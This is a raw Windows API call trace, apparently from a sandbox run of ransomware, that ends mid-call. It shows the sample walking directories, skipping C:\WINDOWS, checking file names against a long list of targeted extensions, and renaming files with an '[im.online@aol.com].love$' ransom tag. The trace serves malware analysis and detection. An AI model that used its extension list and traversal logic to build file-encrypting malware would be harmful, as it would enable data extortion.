ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa43695e8, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa43695e8, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="preoobe.cmd.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="PREOOB~1.LOV")) returned 1 [0222.765] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa434316a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa434316a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa442820e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="SetupComplete.cmd.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPC~1.LOV")) returned 1 [0222.765] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa434316a, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa434316a, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa442820e, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x236, dwReserved0=0xffffe7f5, dwReserved1=0x3f1, cFileName="SetupComplete.cmd.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="SETUPC~1.LOV")) returned 0 [0222.765] FindClose (in: hFindFile=0x6d0348 | out: hFindFile=0x6d0348) returned 1 [0222.766] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4101060 | out: hHeap=0x670000) returned 1 [0222.766] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0xa3f898a0, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa3f898a0, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0222.767] FindClose (in: hFindFile=0x6d0308 | out: hFindFile=0x6d0308) returned 1 [0222.767] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0222.768] FindNextFileW (in: hFindFile=0x6d0188, lpFindFileData=0x396fcf8 | out: lpFindFileData=0x396fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0222.769] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x40f0050 [0222.770] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName=".", cAlternateFileName="")) returned 0x6d0608 [0222.770] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="..", cAlternateFileName="")) returned 1 [0222.770] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0222.770] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0222.770] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x16, ftLastAccessTime.dwLowDateTime=0x2, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0xfffff558, nFileSizeHigh=0xfffff558, nFileSizeLow=0x1152, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="", cAlternateFileName="暘m\x08")) returned 0xffffffff [0222.770] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0222.770] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0222.770] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0222.771] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName=".", cAlternateFileName="")) returned 0x6d0308 [0222.771] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="..", cAlternateFileName="")) returned 1 [0222.771] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x46e3ac73, ftCreationTime.dwHighDateTime=0x1d61695, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e60cb9, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0222.771] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa45ceef9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa45ceef9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa45f1e62, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="desktop.ini.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DESKTO~1.LOV")) returned 1 [0222.771] FindNextFileW (in: hFindFile=0x6d0308, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa45ceef9, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa45ceef9, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa45f1e62, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffe962, dwReserved1=0x1154, cFileName="desktop.ini.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="DESKTO~1.LOV")) returned 0 [0222.771] FindClose (in: hFindFile=0x6d0308 | out: hFindFile=0x6d0308) returned 1 [0222.771] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4100058 | out: hHeap=0x670000) returned 1 [0222.771] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x46e3ac73, ftLastAccessTime.dwHighDateTime=0x1d61695, ftLastWriteTime.dwLowDateTime=0x46e3ac73, ftLastWriteTime.dwHighDateTime=0x1d61695, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0222.771] FindClose (in: hFindFile=0x6d0608 | out: hFindFile=0x6d0608) returned 1 [0222.772] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x40f0050 | out: hHeap=0x670000) returned 1 [0222.773] FindNextFileW (in: hFindFile=0x6d0188, lpFindFileData=0x396fcf8 | out: lpFindFileData=0x396fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0222.773] FindNextFileW (in: hFindFile=0x6d0188, lpFindFileData=0x396fcf8 | out: lpFindFileData=0x396fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xad0c713b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xad0c713b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76e90000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0222.773] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0222.773] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212") returned 1 [0222.773] lstrlenW (lpString="588bce7c90097ed212") returned 18 [0222.773] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="588bce7c90097ed212") returned 1 [0222.773] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x40f0050 [0222.774] lstrlenW (lpString="C:\\588bce7c90097ed212") returned 21 [0222.774] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xad0c713b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xad0c713b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName=".", cAlternateFileName="")) returned 0x6d02c8 [0223.020] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xad0c713b, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xad0c713b, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="..", cAlternateFileName="")) returned 1 [0223.021] FindNextFileW (in: hFindFile=0x6d02c8, lpFindFileData=0x396fa7c | out: lpFindFileData=0x396fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa44745f6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa44745f6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1353, dwReserved1=0xffffcb62, cFileName="1025", cAlternateFileName="")) returned 1 [0223.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0223.021] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\588bce7c90097ed212\\1025") returned 1 [0223.021] lstrlenW (lpString="1025") returned 4 [0223.021] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="1025") returned 1 [0223.021] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4100058 [0223.021] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025") returned 26 [0223.021] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa44745f6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa44745f6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName=".", cAlternateFileName="")) returned 0x6d0248 [0223.025] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa44745f6, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa44745f6, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="..", cAlternateFileName="")) returned 1 [0223.025] FindNextFileW (in: hFindFile=0x6d0248, lpFindFileData=0x396f800 | out: lpFindFileData=0x396f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xa54f080d, ftCreationTime.dwHighDateTime=0x1d6168c, ftLastAccessTime.dwLowDateTime=0xa54f080d, ftLastAccessTime.dwHighDateTime=0x1d6168c, ftLastWriteTime.dwLowDateTime=0xa5506abc, ftLastWriteTime.dwHighDateTime=0x1d6168c, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xffffdf3b, dwReserved1=0x72d, cFileName="eula.rtf.id-B4197730.[im.online@aol.com].love$", cAlternateFileName="EULART~1.LOV")) returned 1 [0223.025] lstrlenW (lpString="eula.rtf.id-B4197730.[im.online@aol.com].love$") returned 46 [0223.025] lstrlenW (lpString=".1cd") returned 4 [0223.025] lstrcmpiW (lpString1=".1cd", lpString2="ove$") returned -1 [0223.025] lstrlenW (lpString=".3ds") returned 4 [0223.025] lstrcmpiW (lpString1=".3ds", lpString2="ove$") returned -1 [0223.025] lstrlenW (lpString=".3fr") returned 4 [0223.025] lstrcmpiW (lpString1=".3fr", lpString2="ove$") returned -1 [0223.025] lstrlenW (lpString=".3g2") returned 4 [0223.025] lstrcmpiW (lpString1=".3g2", lpString2="ove$") returned -1 [0223.025] lstrlenW (lpString=".3gp") returned 4 [0223.025] lstrcmpiW (lpString1=".3gp", lpString2="ove$") returned -1 [0223.025] lstrlenW (lpString=".7z") returned 3 [0223.025] lstrcmpiW (lpString1=".7z", lpString2="ve$") returned -1 [0223.025] lstrlenW (lpString=".accda") returned 6 [0223.025] lstrcmpiW (lpString1=".accda", lpString2=".love$") returned -1 [0223.025] lstrlenW (lpString=".accdb") returned 6 [0223.025] lstrcmpiW (lpString1=".accdb", lpString2=".love$") returned -1 [0223.026] lstrlenW (lpString=".accdc") returned 6 [0223.026] lstrcmpiW (lpString1=".accdc", lpString2=".love$") returned -1 [0223.026] lstrlenW (lpString=".accde") returned 6 [0223.026] lstrcmpiW (lpString1=".accde", lpString2=".love$") returned -1 [0223.026] lstrlenW (lpString=".accdt") returned 6 [0223.026] lstrcmpiW (lpString1=".accdt", lpString2=".love$") returned -1 [0223.026] lstrlenW (lpString=".accdw") returned 6 [0223.026] lstrcmpiW (lpString1=".accdw", lpString2=".love$") returned -1 [0223.026] lstrlenW (lpString=".adb") returned 4 [0223.026] lstrcmpiW (lpString1=".adb", lpString2="ove$") returned -1 [0223.026] lstrlenW (lpString=".adp") returned 4 [0223.026] lstrcmpiW (lpString1=".adp", lpString2="ove$") returned -1 [0223.026] lstrlenW (lpString=".ai") returned 3 [0223.026] lstrcmpiW (lpString1=".ai", lpString2="ve$") returned -1 [0223.026] lstrlenW (lpString=".ai3") returned 4 [0223.026] lstrcmpiW (lpString1=".ai3", lpString2="ove$") returned -1 [0223.026] lstrlenW (lpString=".ai4") returned 4 [0223.026] lstrcmpiW (lpString1=".ai4", lpString2="ove$") returned -1 [0223.026] lstrlenW (lpString=".ai5") returned 4 [0223.026] lstrcmpiW (lpString1=".ai5", lpString2="ove$") returned -1 [0223.026] lstrlenW (lpString=".ai6") returned 4 [0223.026] lstrcmpiW (lpString1=".ai6", lpString2="ove$") returned -1 [0223.026] lstrlenW (lpString=".ai7") returned 4 [0223.026] lstrcmpiW (lpString1=".ai7", lpString2="ove$") returned -1 [0223.026] lstrlenW (lpString=".ai8") returned 4 [0223.026] lstrcmpiW (lpString1=".ai8", lpString2="ove$") returned -1 [0223.026] lstrlenW (lpString=".anim") returned 5 [0223.026] lstrcmpiW (lpString1=".anim", lpString2="love$") returned -1 [0223.026] lstrlenW (lpString=".arw") returned 4 [0223.026] lstrcmpiW (lpString1=".arw", lpString2="ove$") returned -1 [0223.026] lstrlenW (lpString=".as") returned 3 [0223.026] lstrcmpiW (lpString1=".as", lpString2="ve$") returned -1 [0223.027] lstrlenW (lpString=".asa") returned 4 [0223.027] lstrcmpiW (lpString1=".asa", lpString2="ove$") returned -1 [0223.027] lstrlenW (lpString=".asc") returned 4 [0223.027] lstrcmpiW (lpString1=".asc", lpString2="ove$") returned -1 [0223.027] lstrlenW (lpString=".ascx") returned 5 [0223.027] lstrcmpiW (lpString1=".ascx", lpString2="love$") returned -1 [0223.027] lstrlenW (lpString=".asm") returned 4 [0223.027] lstrcmpiW (lpString1=".asm", lpString2="ove$") returned -1 [0223.027] lstrlenW (lpString=".asmx") returned 5 [0223.027] lstrcmpiW (lpString1=".asmx", lpString2="love$") returned -1 [0223.027] lstrlenW (lpString=".asp") returned 4 [0223.027] lstrcmpiW (lpString1=".asp", lpString2="ove$") returned -1 [0223.027] lstrlenW (lpString=".aspx") returned 5 [0223.027] lstrcmpiW (lpString1=".aspx", lpString2="love$") returned -1 [0223.027] lstrlenW (lpString=".asr") returned 4 [0223.027] lstrcmpiW (lpString1=".asr", lpString2="ove$") returned -1 [0223.027] lstrlenW (lpString=".asx") returned 4 [0223.027] lstrcmpiW (lpString1=".asx", lpString2="ove$") returned -1 [0223.027] lstrlenW (lpString=".avi") returned 4 [0223.027] lstrcmpiW (lpString1=".avi", lpString2="ove$") returned -1 [0223.027] lstrlenW (lpString=".avs") returned 4 [0223.027] lstrcmpiW (lpString1=".avs", lpString2="ove$") returned -1 [0223.027] lstrlenW (lpString=".backup") returned 7 [0223.027] lstrcmpiW (lpString1=".backup", lpString2="].love$") returned -1 [0223.027] lstrlenW (lpString=".bak") returned 4 [0223.027] lstrcmpiW (lpString1=".bak", lpString2="ove$") returned -1 [0223.027] lstrlenW (lpString=".bay") returned 4 [0223.027] lstrcmpiW (lpString1=".bay", lpString2="ove$") returned -1 [0223.027] lstrlenW (lpString=".bd") returned 3 [0223.027] lstrcmpiW (lpString1=".bd", lpString2="ve$") returned -1 [0223.027] lstrlenW (lpString=".bin") returned 4 [0223.028] lstrcmpiW (lpString1=".bin", lpString2="ove$") returned -1 [0223.028] lstrlenW (lpString=".bmp") returned 4 [0223.028] lstrcmpiW (lpString1=".bmp", lpString2="ove$") returned -1 [0223.028] lstrlenW (lpString=".bz2") returned 4 [0223.028] lstrcmpiW (lpString1=".bz2", lpString2="ove$") returned -1 [0223.028] lstrlenW (lpString=".c") returned 2 [0223.028] lstrcmpiW (lpString1=".c", lpString2="e$") returned -1 [0223.028] lstrlenW (lpString=".cdr") returned 4 [0223.028] lstrcmpiW (lpString1=".cdr", lpString2="ove$") returned -1 [0223.028] lstrlenW (lpString=".cer") returned 4 [0223.028] lstrcmpiW (lpString1=".cer", lpString2="ove$") returned -1 [0223.028] lstrlenW (lpString=".cf") returned 3 [0223.028] lstrcmpiW (lpString1=".cf", lpString2="ve$") returned -1 [0223.028] lstrlenW (lpString=".cfc") returned 4 [0223.028] lstrcmpiW (lpString1=".cfc", lpString2="ove$") returned -1 [0223.028] lstrlenW (lpString=".cfm") returned 4 [0223.028] lstrcmpiW (lpString1=".cfm", lpString2="ove$") returned -1 [0223.028] lstrlenW (lpString=".cfml") returned 5 [0223.028] lstrcmpiW (lpString1=".cfml", lpString2="love$") returned -1 [0223.028] lstrlenW (lpString=".cfu") returned 4 [0223.028] lstrcmpiW (lpString1=".cfu", lpString2="ove$") returned -1 [0223.028] lstrlenW (lpString=".chm") returned 4 [0223.028] lstrcmpiW (lpString1=".chm", lpString2="ove$") returned -1 [0223.028] lstrlenW (lpString=".cin") returned 4 [0223.028] lstrcmpiW (lpString1=".cin", lpString2="ove$") returned -1 [0223.028] lstrlenW (lpString=".class") returned 6 [0223.028] lstrcmpiW (lpString1=".class", lpString2=".love$") returned -1 [0223.028] lstrlenW (lpString=".clx") returned 4 [0223.028] lstrcmpiW (lpString1=".clx", lpString2="ove$") returned -1 [0223.028] lstrlenW (lpString=".config") returned 7 [0223.028] lstrcmpiW (lpString1=".config", lpString2="].love$") returned -1 [0223.029] lstrlenW (lpString=".cpp") returned 4 [0223.029] lstrcmpiW (lpString1=".cpp", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".cr2") returned 4 [0223.029] lstrcmpiW (lpString1=".cr2", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".crt") returned 4 [0223.029] lstrcmpiW (lpString1=".crt", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".crw") returned 4 [0223.029] lstrcmpiW (lpString1=".crw", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".cs") returned 3 [0223.029] lstrcmpiW (lpString1=".cs", lpString2="ve$") returned -1 [0223.029] lstrlenW (lpString=".css") returned 4 [0223.029] lstrcmpiW (lpString1=".css", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".csv") returned 4 [0223.029] lstrcmpiW (lpString1=".csv", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".cub") returned 4 [0223.029] lstrcmpiW (lpString1=".cub", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".dae") returned 4 [0223.029] lstrcmpiW (lpString1=".dae", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".dat") returned 4 [0223.029] lstrcmpiW (lpString1=".dat", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".db") returned 3 [0223.029] lstrcmpiW (lpString1=".db", lpString2="ve$") returned -1 [0223.029] lstrlenW (lpString=".dbf") returned 4 [0223.029] lstrcmpiW (lpString1=".dbf", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".dbx") returned 4 [0223.029] lstrcmpiW (lpString1=".dbx", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".dc3") returned 4 [0223.029] lstrcmpiW (lpString1=".dc3", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".dcm") returned 4 [0223.029] lstrcmpiW (lpString1=".dcm", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".dcr") returned 4 [0223.029] lstrcmpiW (lpString1=".dcr", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".der") returned 4 [0223.029] lstrcmpiW (lpString1=".der", lpString2="ove$") returned -1 [0223.029] lstrlenW (lpString=".dib") returned 4 [0223.030] lstrcmpiW (lpString1=".dib", lpString2="ove$") returned -1 [0223.030] lstrlenW (lpString=".dic") returned 4 [0223.030] lstrcmpiW (lpString1=".dic", lpString2="ove$") returned -1 [0223.030] lstrlenW (lpString=".dif") returned 4 [0223.030] lstrcmpiW (lpString1=".dif", lpString2="ove$") returned -1 [0223.030] lstrlenW (lpString=".divx") returned 5 [0223.030] lstrcmpiW (lpString1=".divx", lpString2="love$") returned -1 [0223.030] lstrlenW (lpString=".djvu") returned 5 [0223.030] lstrcmpiW (lpString1=".djvu", lpString2="love$") returned -1 [0223.030] lstrlenW (lpString=".dng") returned 4 [0223.030] lstrcmpiW (lpString1=".dng", lpString2="ove$") returned -1 [0223.030] lstrlenW (lpString=".doc") returned 4 [0223.030] lstrcmpiW (lpString1=".doc", lpString2="ove$") returned -1 [0223.030] lstrlenW (lpString=".docm") returned 5 [0223.030] lstrcmpiW (lpString1=".docm", lpString2="love$") returned -1 [0223.030] lstrlenW (lpString=".docx") returned 5 [0223.030] lstrcmpiW (lpString1=".docx", lpString2="love$") returned -1 [0223.030] lstrlenW (lpString=".dot") returned 4 [0223.030] lstrcmpiW (lpString1=".dot", lpString2="ove$") returned -1 [0223.030] lstrlenW (lpString=".dotm") returned 5 [0223.030] lstrcmpiW (lpString1=".dotm", lpString2="love$") returned -1 [0223.030] lstrlenW (lpString=".dotx") returned 5 [0223.030] lstrcmpiW (lpString1=".dotx", lpString2="love$") returned -1 [0223.030] lstrlenW (lpString=".dpx") returned 4 [0223.031] lstrcmpiW (lpString1=".dpx", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".dqy") returned 4 [0223.031] lstrcmpiW (lpString1=".dqy", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".dsn") returned 4 [0223.031] lstrcmpiW (lpString1=".dsn", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".dt") returned 3 [0223.031] lstrcmpiW (lpString1=".dt", lpString2="ve$") returned -1 [0223.031] lstrlenW (lpString=".dtd") returned 4 [0223.031] lstrcmpiW (lpString1=".dtd", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".dwg") returned 4 [0223.031] lstrcmpiW (lpString1=".dwg", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".dwt") returned 4 [0223.031] lstrcmpiW (lpString1=".dwt", lpString2="ove$") returned -1 [0223.031] lstrlenW (lpString=".dx") returned 3 [0223.031] lstrcmpiW (lpString1=".dx", 